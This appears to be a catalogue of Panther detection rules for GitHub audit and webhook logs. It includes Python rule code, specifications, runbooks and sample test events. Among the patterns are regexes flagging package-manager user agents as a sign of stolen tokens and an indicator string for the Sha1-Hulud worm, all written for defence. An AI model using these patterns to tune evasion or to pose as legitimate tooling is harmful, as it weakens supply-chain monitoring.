# business_secret_scanning_push_protection.disable - Push protection for {% data variables.product.prodname_secret_scanning %} was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
"business_secret_scanning_push_protection.disable": "CRITICAL",
# business_secret_scanning_push_protection.disabled_for_new_repos - Push protection for {% data variables.product.prodname_secret_scanning %} was disabled for new repositories in your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
"business_secret_scanning_push_protection.disabled_for_new_repos": "HIGH",
# business_secret_scanning_push_protection_custom_message.disable - The custom message triggered by an attempted push to a push-protected repository was disabled for your enterprise. For more information, see "[Managing {% data variables.product.prodname_GH_advanced_security %} features for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/managing-github-advanced-security-features-for-your-enterprise)."
"business_secret_scanning_push_protection_custom_message.disable": "HIGH",
#
# There are also correlating github _org_ level events
"org.advanced_security_disabled_for_new_repos": "HIGH",
"org.advanced_security_disabled_on_all_repos": "CRITICAL",
# org.advanced_security_policy_selected_member_disabled - An enterprise owner prevented {% data variables.product.prodname_GH_advanced_security %} features from being enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %}
# pylint: enable=line-too-long
"org.advanced_security_policy_selected_member_disabled": "HIGH",
"repo.advanced_security_disabled": "CRITICAL",
"repo.advanced_security_policy_selected_member_disabled": "HIGH",
# repository_vulnerability_alerts.disable - Dependabot alerts was disabled.
"repository_vulnerability_alerts.disable": "HIGH",
}
def rule(event):
return event.get("action", "") in ADV_SEC_ACTIONS
def title(event):
action = event.get("action", "")
advanced_sec_text = ""
# https://docs.github.com/en/get-started/learning-about-github/about-github-advanced-security#about-advanced-security-features
if "advanced_security" in action or "secret_scanning" in action:
advanced_sec_text = "Advanced "
return f"Change detected to GitHub {advanced_sec_text}Security - {event.get('action', '')}"
def alert_context(event):
return github_alert_context(event)
# Use the per action severity configured above
def severity(event):
return ADV_SEC_ACTIONS.get(event.get("action", ""), "Low")
def dedup(event):
# 1. Actor
# 2. Action
# We should dedup on actor - action
actor = event.get("actor", "<NO_ACTOR>")
action = event.get("action", "<NO_ACTION>")
return "_".join([actor, action])
Rule specification
AnalysisType: rule
Filename: github_advanced_security_change.py
RuleID: "GitHub.Advanced.Security.Change"
DisplayName: "GitHub Security Change, includes GitHub Advanced Security"
Enabled: true
CreateAlert: false
LogTypes:
- GitHub.Audit
Tags:
- GitHub
Reports:
MITRE ATT&CK:
- TA0005:T1562
Severity: Low
Description: The rule alerts when GitHub Security tools (Dependabot, Secret Scanner, etc) are disabled.
Runbook: Confirm with GitHub administrators and re-enable the tools as applicable.
Reference: https://docs.github.com/en/code-security/getting-started/auditing-security-alerts
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionis one ofdependabot_alerts.disable,dependabot_alerts_new_repos.disable,dependabot_security_updates.disable,dependabot_security_updates_new_repos.disable,repository_secret_scanning_push_protection.disable
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | in |
| field:"action" kind:in |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user |
Response runbook
Confirm with GitHub administrators and re-enable the tools as applicable.
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "repository_secret_scanning_push_protection.disable",
"actor": "bobert",
"actor_location": {
"country_code": "US"
},
"at_sign_timestamp": "2022-08-16 16:56:49.309",
"created_at": "2022-08-16 16:56:49.309",
"org": "an-org",
"repo": "an-org/a-repo",
"user": "bobert"
}
GitHub Sha1-Hulud Malicious Repository Created
#Detects when a repository is created with the description "Sha1-Hulud: The Second Coming.", which is a known indicator of compromise associated with the Sha1-Hulud 2.0 campaign. Repos created with this description are typically indicators of an exfiltration attempt by the worm.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Rules detecting the same action
These rules filter on the same operation.
- GitHub Malicious Comment/Review Content (Panther)
Detection logic
from panther_github_helpers import github_webhook_alert_context
def rule(event):
if event.get("action") != "created":
return False
# Check if the repository description matches the Shai-Hulud indicator
description = event.deep_get("repository", "description", default="")
return description == "Sha1-Hulud: The Second Coming."
def title(event):
repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")
user = event.deep_get("sender", "login", default="<UNKNOWN_USER>")
return f"Sha1-Hulud malicious repository [{repo_name}] created by compromised user [{user}]"
def alert_context(event):
context = github_webhook_alert_context(event)
return context
Rule specification
AnalysisType: rule
Filename: github_shai_hulud_repo_created.py
RuleID: "GitHub.Webhook.Sha1HuludRepoCreated"
DisplayName: "GitHub Sha1-Hulud Malicious Repository Created"
Enabled: true
LogTypes:
- GitHub.Webhook
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
Tags:
- GitHub
- Supply Chain
- Threat Intelligence
Severity: High
Description: >
Detects when a repository is created with the description "Sha1-Hulud: The Second Coming.",
which is a known indicator of compromise associated with the Sha1-Hulud 2.0 campaign. Repos
created with this description are typically indicators of an exfiltration attempt by the worm.
Runbook: |
1. Immediately investigate the repository and its creator
2. Review the repository owner's account for signs of compromise
3. Check if any code has been pushed to the repository
4. Review organization access and permissions for the user who created the repository
5. Consider immediately archiving or deleting the repository
6. Report the repository and user to GitHub Trust & Safety
7. Review recent activity from the same user across all repositories
8. Check for any downstream impacts if the repository was forked or cloned
9. Notify security team and relevant stakeholders immediately
Reference: https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack
Stages and Predicates
Fires on GitHub.Webhook events when all of the conditions below hold.
Condition
actioniscreatedrepository.descriptionisSha1-Hulud: The Second Coming.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"created" |
repository.description | eq |
| field:"repository.description" kind:eq value:"Sha1-Hulud: The Second Coming." |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user | |
full_name | repository.full_name |
login | sender.login |
Response runbook
1. Immediately investigate the repository and its creator
2. Review the repository owner's account for signs of compromise
3. Check if any code has been pushed to the repository
4. Review organization access and permissions for the user who created the repository
5. Consider immediately archiving or deleting the repository
6. Report the repository and user to GitHub Trust & Safety
7. Review recent activity from the same user across all repositories
8. Check for any downstream impacts if the repository was forked or cloned
9. Notify security team and relevant stakeholders immediately
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "created",
"organization": {
"id": 123456789,
"login": "Owner"
},
"p_log_type": "GitHub.Webhook",
"repository": {
"clone_url": "https://github.com/Owner/wuhhsdknjf.git",
"created_at": "2025-11-25T17:32:12Z",
"description": "Sha1-Hulud: The Second Coming.",
"full_name": "Owner/wuhhsdknjf",
"html_url": "https://github.com/Owner/wuhhsdknjf",
"id": 1104055056,
"name": "wuhhsdknjf",
"node_id": "R_kgDOQc6LEA",
"owner": {
"id": 123456789,
"login": "Owner",
"type": "Organization"
},
"private": true,
"visibility": "private"
},
"sender": {
"html_url": "https://github.com/Owner",
"id": 123456789,
"login": "Owner",
"type": "User"
}
}
GitHub Supply Chain - Software Installation Tool User Agents
#Detects software installation tool user agents in GitHub audit logs that should never directly access GitHub. Package managers like npm, pip, yarn, and system installers operate at the registry level, not GitHub audit level. Their presence indicates: 1. Supply chain attacks using spoofed user agents to blend in 2. Compromised systems running installation tools with stolen GitHub tokens 3. Malicious automation disguised as legitimate package managers Based on analysis of GitHub audit logs showing zero legitimate npm/yarn/pip user agents, any such patterns are inherently suspicious and warrant immediate investigation.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Detection logic
import re
from panther_github_helpers import github_alert_context
# pylint: disable=line-too-long
# Suspicious package manager and installation tool patterns
SUSPICIOUS_PATTERNS = [
# NPM patterns
# https://github.com/npm/cli/blob/latest/workspaces/config/lib/definitions/definitions.js#L2137
# Format: npm/{version} node/v{version} {platform} {arch} workspaces/{boolean} [ci/{name}]
r"npm/\d+\.\d+\.\d+\s+node/v\d+\.\d+\.\d+\s+\w+\s+\w+\s+workspaces/(?:true|false)(?:\s+ci/\w+)?",
# Yarn patterns
# https://github.com/yarnpkg/berry/blob/master/packages/yarnpkg-core/sources/scriptUtils.ts#L187-L192
# "yarn/{version} npm/? node/{version} {platform} {arch}"
r"yarn/\d+\.\d+\.\d+(?:-core)?\s+npm/\?\s+node/v\d+\.\d+\.\d+\s+\w+\s+\w+",
# Python pip patterns
# https://github.com/pypa/pip/blob/main/src/pip/_internal/network/session.py#L204
# "pip/24.0 {"ci":null,"cpu":"aarch64","distro":{"name":"Alpine Linux"...}}"
r"pip/\d+\.\d+(?:\.\d+)?\s+\{.*\}",
# Ruby Gem patterns
# https://github.com/rubygems/rubygems/blob/master/lib/rubygems/request.rb#L276
# Ruby, RubyGems/{version} {platform} Ruby/{version} ({date} patchlevel {number})
r"Ruby,\s+RubyGems/\d+\.\d+\.\d+\s+[\w-]+\s+Ruby/\d+\.\d+\.\d+\s+\([^)]+\)",
# Rust Cargo patterns
# https://github.com/rust-lang/cargo/blob/master/src/cargo/util/network/http.rs#L76
# Default user agent: handle.useragent(&format!("cargo/{}", version()))?;
r"cargo/\d+\.\d+\.\d+",
]
# Compile regex patterns for performance
COMPILED_SUSPICIOUS_PATTERNS = [
re.compile(pattern, re.IGNORECASE) for pattern in SUSPICIOUS_PATTERNS
]
def rule(event):
user_agent = event.get("user_agent", "")
action = event.get("action", "")
# Allow legitimate dependency installation actions
legitimate_actions = {
"git.clone",
"git.fetch",
"git.pull",
"git.checkout",
"git.archive",
"repo.download",
}
if action in legitimate_actions:
return False
if not user_agent or len(user_agent) < 3:
return False
for compiled_pattern in COMPILED_SUSPICIOUS_PATTERNS:
match = compiled_pattern.search(user_agent)
if match:
return True
return False
def title(event):
user_agent = event.get("user_agent", "")
action = event.get("action", "")
detected_pattern = "unknown"
for compiled_pattern in COMPILED_SUSPICIOUS_PATTERNS:
match = compiled_pattern.search(user_agent)
if match:
detected_pattern = match.group()
return f"GitHub Supply Chain - Package Manager Modifying Repository ({detected_pattern} - {action})"
def alert_context(event):
context = github_alert_context(event)
user_agent = event.get("user_agent", "")
detected_pattern = "unknown"
for compiled_pattern in COMPILED_SUSPICIOUS_PATTERNS:
match = compiled_pattern.search(user_agent)
if match:
detected_pattern = match.group()
context.update(
{
"user_agent": user_agent,
"detected_pattern": detected_pattern,
"user_agent_length": len(user_agent),
"programmatic_access_type": event.get("programmatic_access_type"),
"action": event.get("action"),
"repo": event.get("repo"),
"analysis_note": "Package managers should only read dependencies, not modify repositories",
}
)
return context
def dedup(event):
user_agent = event.get("user_agent", "")
actor = event.get("actor", "<NO_ACTOR>")
return f"{user_agent}_{actor}"
Rule specification
AnalysisType: rule
Filename: github_supply_chain_suspicious_user_agents.py
RuleID: "GitHub.SupplyChain.SuspiciousUserAgents"
DisplayName: "GitHub Supply Chain - Software Installation Tool User Agents"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- Supply Chain
- Installation Tools
- Package Managers
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
Severity: Medium
Description: >
Detects software installation tool user agents in GitHub audit logs that should never
directly access GitHub. Package managers like npm, pip, yarn, and system installers
operate at the registry level, not GitHub audit level. Their presence indicates:
1. Supply chain attacks using spoofed user agents to blend in
2. Compromised systems running installation tools with stolen GitHub tokens
3. Malicious automation disguised as legitimate package managers
Based on analysis of GitHub audit logs showing zero legitimate npm/yarn/pip user agents,
any such patterns are inherently suspicious and warrant immediate investigation.
Runbook: |
1. Verify the actor and IP address associated with the activity
2. Check if the GitHub token/credentials used have been compromised
3. Review all actions performed by this user agent for malicious activity
4. Investigate if this represents a supply chain attack or credential theft
5. Consider revoking affected tokens and resetting credentials
6. Review repository access and recent changes for signs of compromise
Reference: https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/reviewing-the-audit-log-for-your-organization
Stages and Predicates
Fires on GitHub.Audit events when all of the conditions below hold.
Condition
actionis not one ofgit.clone,git.fetch,git.pull,git.checkout,git.archiveuser_agentis presentuser_agenthas length of at least3
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
user_agent | is_null | excludes:user_agent | |
user_agent | length_compare | 3 | excludes:user_agent field:"user_agent" value:"3" |
action | in | git.archive, git.checkout, git.clone, git.fetch, git.pull, repo.download | excludes:action |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user |
Response runbook
1. Verify the actor and IP address associated with the activity
2. Check if the GitHub token/credentials used have been compromised
3. Review all actions performed by this user agent for malicious activity
4. Investigate if this represents a supply chain attack or credential theft
5. Consider revoking affected tokens and resetting credentials
6. Review repository access and recent changes for signs of compromise
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "repo.update",
"actor": "malicious-actor",
"programmatic_access_type": "personal_access_token",
"repo": "organization/sensitive-repo",
"user_agent": "npm/10.2.4 node/v18.19.0 linux x64 workspaces/false"
}
GitHub Team Modified
#Detects when a team is modified in some way, such as adding a new team, deleting a team, modifying members, or a change in repository control.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Telemetry coverage
Rules detecting the same action
These rules filter on the same operation.
Detection logic
def rule(event):
if not event.get("action").startswith("team"):
return False
return (
event.get("action") == "team.add_member"
or event.get("action") == "team.add_repository"
or event.get("action") == "team.change_parent_team"
or event.get("action") == "team.create"
or event.get("action") == "team.destroy"
or event.get("action") == "team.remove_member"
or event.get("action") == "team.remove_repository"
)
def title(event):
team_name = event.get("team") if "team" in event else "<MISSING_TEAM>"
return f"GitHub.Audit: [{team_name}] has been modified"
Rule specification
AnalysisType: rule
Filename: github_team_modified.py
RuleID: "GitHub.Team.Modified"
DisplayName: "GitHub Team Modified"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Initial Access:Supply Chain Compromise
Reports:
MITRE ATT&CK:
- TA0001:T1195
Reference: https://docs.github.com/en/organizations/organizing-members-into-teams
Severity: Info
Description: Detects when a team is modified in some way, such as adding a new team, deleting a team, modifying members, or a change in repository control.
Stages and Predicates
Fires on GitHub.Audit events when all of the conditions below hold.
Condition
actionstarts withteamany of:
actionisteam.add_memberactionisteam.add_repositoryactionisteam.change_parent_teamactionisteam.createactionisteam.destroyactionisteam.remove_memberactionisteam.remove_repository
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq |
action | starts_with |
| field:"action" kind:starts_with value:"team" |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "team.destroy",
"actor": "cat",
"created_at": 1621305118553,
"data": {
"team": "my-org/my-team"
},
"org": "my-org",
"p_log_type": "GitHub.Audit",
"repo": "my-org/my-repo"
}
GitHub User Access Key Created
#Detects when a GitHub user access key is created.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action public_key.create: SSH key added to user account or repository deploy key added |
Rules detecting the same action
These rules filter on the same operation.
Detection logic
def rule(event):
return event.get("action") == "public_key.create"
def title(event):
return f"User [{event.udm('actor_user')}] created a new ssh key"
Rule specification
AnalysisType: rule
Filename: github_user_access_key_created.py
RuleID: "GitHub.User.AccessKeyCreated"
DisplayName: "GitHub User Access Key Created"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Persistence:Valid Accounts
Reports:
MITRE ATT&CK:
- TA0003:T1078
Reference: https://docs.github.com/en/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent
Severity: Info
Description: Detects when a GitHub user access key is created.
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionispublic_key.create
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"public_key.create" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
actor_user |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "public_key.create",
"actor": "cat",
"created_at": 1621305118553,
"p_log_type": "GitHub.Audit",
"repo": "my-org/my-repo"
}
GitHub User Added or Removed from Org
#Detects when a user is added or removed from a GitHub Org.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access |
Telemetry coverage
Rules detecting the same action
These rules filter on the same operation.
- GitHub - User was added to the organization (Kusto)
- Member Removed From GitHub Organization (Elastic)
- New Github Organization Member Added (Sigma)
- New GitHub Owner Added (Elastic)
- New User Added To GitHub Organization (Elastic)
Detection logic
def rule(event):
return event.get("action") == "org.add_member" or event.get("action") == "org.remove_member"
def title(event):
action = event.get("action")
if event.get("action") == "org.add_member":
action = "added"
elif event.get("action") == "org.remove_member":
action = "removed"
return (
f"GitHub.Audit: User [{event.udm('actor_user')}] {action} "
f"{event.get('user', '<UNKNOWN_USER>')} to org [{event.get('org','<UNKNOWN_ORG>')}]"
)
Rule specification
AnalysisType: rule
Filename: github_org_modified.py
RuleID: "GitHub.Org.Modified"
DisplayName: "GitHub User Added or Removed from Org"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Initial Access:Supply Chain Compromise
Reports:
MITRE ATT&CK:
- TA0001:T1195
Reference: https://docs.github.com/en/organizations/managing-membership-in-your-organization
Severity: Info
Description: Detects when a user is added or removed from a GitHub Org.
Stages and Predicates
Fires on GitHub.Audit events when any of the conditions below holds.
Condition
any of:
actionisorg.add_memberactionisorg.remove_member
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
actor_user |
user |
org |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "org.add_member",
"actor": "cat",
"created_at": 1621305118553,
"org": "my-org",
"p_log_type": "GitHub.Audit",
"user": "cat"
}
GitHub User Added to Org Moderators
#Detects when a user is added to a GitHub org's list of moderators.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | No specific technique |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action organization_moderators.add_user |
Detection logic
from panther_github_helpers import github_alert_context
def rule(event):
return event.get("action") == "organization_moderators.add_user"
def title(event):
return (
f"GitHub.Audit: User [{event.get('actor', '<UNKNOWN_ACTOR>')}] added user "
f"[{event.get('user', '<UNKNOWN_USER>')}] to moderators in "
f"[{event.get('org','<UNKNOWN_ORG>')}]"
)
def alert_context(event):
return github_alert_context(event)
Rule specification
AnalysisType: rule
Filename: github_org_moderators_add.py
RuleID: "GitHub.Org.Moderators.Add"
DisplayName: "GitHub User Added to Org Moderators"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Initial Access:Supply Chain Compromise
Severity: Medium
Description: Detects when a user is added to a GitHub org's list of moderators.
Reference: https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/managing-moderators-in-your-organization
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionisorganization_moderators.add_user
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"organization_moderators.add_user" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"_document_id": "Ab123",
"action": "organization_moderators.add_user",
"actor": "sarah78",
"actor_location": {
"country_code": "US"
},
"at_sign_timestamp": "2022-12-11 05:17:28.078",
"created_at": "2022-12-11 05:17:28.078",
"org": "example-io",
"user": "john1987"
}
GitHub User Initial Access to Private Repo
#Detects when a user initially accesses a private organization repository.
Telemetry coverage
Rules detecting the same action
These rules filter on the same operation.
- GitHub Access Granted To Personal Access Token Followed By High Number Of Cloned Non Public Repositories (YARA-L)
- GitHub Actions Unusual Bot Push to Repository (Elastic)
- Github Activity on a Private Repository from an Unusual IP (Elastic)
- GitHub Exfiltration via High Number of Repository Clones by User (Elastic)
- GitHub High Number Of Non Public GitHub Repositories Cloned (YARA-L)
- High Number of Cloned GitHub Repos From PAT (Elastic)
Detection logic
from panther_detection_helpers.caching import get_string_set, put_string_set
CODE_ACCESS_ACTIONS = [
"git.clone",
"git.push",
"git.fetch",
]
def rule(event):
# if the actor field is empty, short circuit the rule
# Excluding secret scanning bots
allowed_users = ["secret-scanning[bot]"]
actor = event.udm("actor_user")
if not actor or any(allowed_user in actor for allowed_user in allowed_users):
return False
if event.get("action") in CODE_ACCESS_ACTIONS and not event.get("repository_public"):
# Compute unique entry for this user + repo
key = get_key(event)
previous_access = get_string_set(key)
if not previous_access:
put_string_set(key, key)
return True
return False
def title(event):
return (
f"A user [{event.udm('actor_user')}] accessed a private repository "
f"[{event.get('repo', '<UNKNOWN_REPO>')}] for the first time."
)
def get_key(event):
return __name__ + ":" + str(event.udm("actor_user")) + ":" + str(event.get("repo"))
Rule specification
AnalysisType: rule
Filename: github_repo_initial_access.py
RuleID: "GitHub.Repo.InitialAccess"
DisplayName: "GitHub User Initial Access to Private Repo"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
Reference: https://docs.github.com/en/organizations/managing-user-access-to-your-organizations-repositories/managing-repository-roles/managing-an-individuals-access-to-an-organization-repository
Severity: Info
Description: Detects when a user initially accesses a private organization repository.
Stages and Predicates
Fires on GitHub.Audit events when all of the conditions below hold.
Condition
actor_useris presentactor_userdoes not containsecret-scanning[bot]actionis one ofgit.clone,git.push,git.fetchrepository_publicis empty
This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
actor_user | contains | secret-scanning[bot] | excludes:actor_user field:"actor_user" value:"secret-scanning[bot]" |
actor_user | is_null | excludes:actor_user |
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | in |
| field:"action" kind:in |
repository_public | is_null | field:"repository_public" kind:is_null |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
actor_user |
repo |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"@timestamp": 1623971719091,
"action": "git.push",
"actor": "cat",
"business": "",
"org": "my-org",
"p_log_type": "GitHub.Audit",
"protocol_name": "ssh",
"repo": "my-org/my-repo",
"repository": "my-org/my-repo",
"repository_public": false,
"user": ""
}
GitHub User Role Updated
#Detects when a GitHub user role is upgraded to an admin or downgraded to a member
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Persistence |
Telemetry coverage
| Platform | Record / event type |
|---|---|
| GitHub | Audit log action org.update_member: Member role changed between owner and member |
Rules detecting the same action
These rules filter on the same operation.
- GitHub Owner Role Granted To User (Elastic)
Detection logic
def rule(event):
return event.get("action") == "org.update_member"
def title(event):
return (
f"Org owner [{event.udm('actor_user')}] updated user's "
f"[{event.get('user')}] role ('admin' or 'member')"
)
Rule specification
AnalysisType: rule
Filename: github_user_role_updated.py
RuleID: "GitHub.User.RoleUpdated"
DisplayName: "GitHub User Role Updated"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Persistence:Account Manipulation
Reports:
MITRE ATT&CK:
- TA0003:T1098
Reference: https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization
Severity: High
Description: Detects when a GitHub user role is upgraded to an admin or downgraded to a member
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionisorg.update_member
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"org.update_member" |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field |
|---|
actor_user |
user |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "org.update_member",
"actor": "cat",
"created_at": 1621305118553,
"p_log_type": "GitHub.Audit",
"repo": "my-org/my-repo",
"user": "bob"
}
GitHub Web Hook Modified
#Detects when a webhook is added, modified, or deleted
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Exfiltration |
Telemetry coverage
Detection logic
from panther_github_helpers import github_alert_context
def rule(event):
return event.get("action").startswith("hook.")
def title(event):
repo = event.get("repo", "<UNKNOWN_REPO>")
action = "modified"
if event.get("action").endswith("destroy"):
action = "deleted"
elif event.get("action").endswith("create"):
action = "created"
title_str = (
f"Github webhook [{event.deep_get('config','url',default='<UNKNOWN_URL>')}]"
f" {action} by [{event.get('actor','<UNKNOWN_ACTOR>')}]"
)
if repo != "<UNKNOWN_REPO>":
title_str += f" in repository [{repo}]"
return title_str
def severity(event):
if event.get("action").endswith("create"):
return "MEDIUM"
return "INFO"
def alert_context(event):
ctx = github_alert_context(event)
ctx["business"] = event.get("business", "")
ctx["hook_id"] = event.get("hook_id", "")
ctx["integration"] = event.get("integration", "")
ctx["operation_type"] = event.get("operation_type", "")
ctx["url"] = event.deep_get("config", "url", default="<UNKNOWN_URL>")
return ctx
Rule specification
AnalysisType: rule
Filename: github_webhook_modified.py
RuleID: "GitHub.Webhook.Modified"
DisplayName: "GitHub Web Hook Modified"
Enabled: true
LogTypes:
- GitHub.Audit
Tags:
- GitHub
- Exfiltration:Automated Exfiltration
Reports:
MITRE ATT&CK:
- TA0010:T1020
Reference:
https://docs.github.com/en/webhooks/about-webhooks
# GH audit logs for hook events don't include the type: field
# Only type:repo webhooks are obvious due to the repo field, Org and App look the same
# GETs to /orgs/{org}/hooks or /repos/{owner}/{repo}/hooks will return type
# App hooks don't return type and are defined by their API endpoint
Severity: Info
Description: Detects when a webhook is added, modified, or deleted
Stages and Predicates
Fires on GitHub.Audit events when the condition below holds.
Condition
actionstarts withhook.
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | starts_with |
| field:"action" kind:starts_with value:"hook." |
Output fields
Fields the rule emits when it matches, drawn from the rule's alert_context.
| Field | Source |
|---|---|
action | |
actor | |
actor_location | actor_location.country_code |
org | |
repo | |
user |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "hook.create",
"actor": "cat",
"config": {
"url": "https://fake.url"
},
"data": {
"events": [
"fork",
"public",
"pull_request",
"push",
"repository"
],
"hook_id": 111222333444555
},
"org": "my-org",
"p_log_type": "GitHub.Audit",
"public_repo": false,
"repo": "my-org/my-repo"
}
GitHub Workflow Contains Checkout Action
#Detects when a GitHub Actions workflow job contains a checkout step. The checkout action (actions/checkout) pulls repository code into the workflow runner. In certain contexts, especially with pull_request_target triggers or workflows with elevated permissions, checking out untrusted code can pose security risks. This detection helps identify workflows that interact with repository code for security review.
MITRE ATT&CK coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Execution |
Rules detecting the same action
These rules filter on the same operation.
- GitHub pull_request_target Workflow Usage (Panther)
- GitHub Workflow Downloading Artifacts (Panther)
- GitHub Workflow Using Self-Hosted Runner (Panther)
Detection logic
def rule(event):
"""Alert when a GitHub workflow job contains a checkout action step."""
# Only check completed workflow jobs
if event.get("action") != "completed":
return False
# Get the steps array from workflow_job
steps = event.deep_get("workflow_job", "steps", default=[])
# Iterate through each step and check if the name contains "checkout" (case-insensitive)
for step in steps:
step_name = step.get("name", "").lower()
if "checkout" in step_name:
return True
return False
Rule specification
AnalysisType: rule
Filename: github_workflow_contains_checkout.py
RuleID: "GitHub.Webhook.WorkflowContainsCheckout"
DisplayName: "GitHub Workflow Contains Checkout Action"
Enabled: true
LogTypes:
- GitHub.Webhook
Reports:
MITRE ATT&CK:
- TA0001:T1195.002 # Supply Chain Compromise: Compromise Software Supply Chain
- TA0002:T1072 # Execution: Software Deployment Tools
Tags:
- CI/CD
- Workflow
- Supply Chain
Severity: Info
CreateAlert: false
Description: >
Detects when a GitHub Actions workflow job contains a checkout step. The checkout action
(actions/checkout) pulls repository code into the workflow runner. In certain contexts,
especially with pull_request_target triggers or workflows with elevated permissions,
checking out untrusted code can pose security risks. This detection helps identify
workflows that interact with repository code for security review.
Reference: https://securitylab.github.com/research/github-actions-preventing-pwn-requests/
Stages and Predicates
Fires on GitHub.Webhook events when all of the conditions below hold.
Condition
actioniscompletedany element of
workflow_job.stepsmatches:workflow_job.steps.namecontainscheckout
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
action | eq |
| field:"action" kind:eq value:"completed" |
Worked example
A sample event from the rule's unit tests that triggers a match.Sample Test Event
{
"action": "completed",
"repository": {
"full_name": "example-org/example-repo",
"id": 123456789,
"private": true
},
"workflow_job": {
"completed_at": "2025-10-15T18:47:18Z",
"conclusion": "success",
"head_branch": "feature-branch",
"head_sha": "abc123def456789",
"html_url": "https://github.com/example-org/example-repo/actions/runs/12345678/job/52841914522",
"id": 52841914522,
"name": "Validate PR Title",
"run_id": 12345678,
"runner_name": "GitHub Actions",
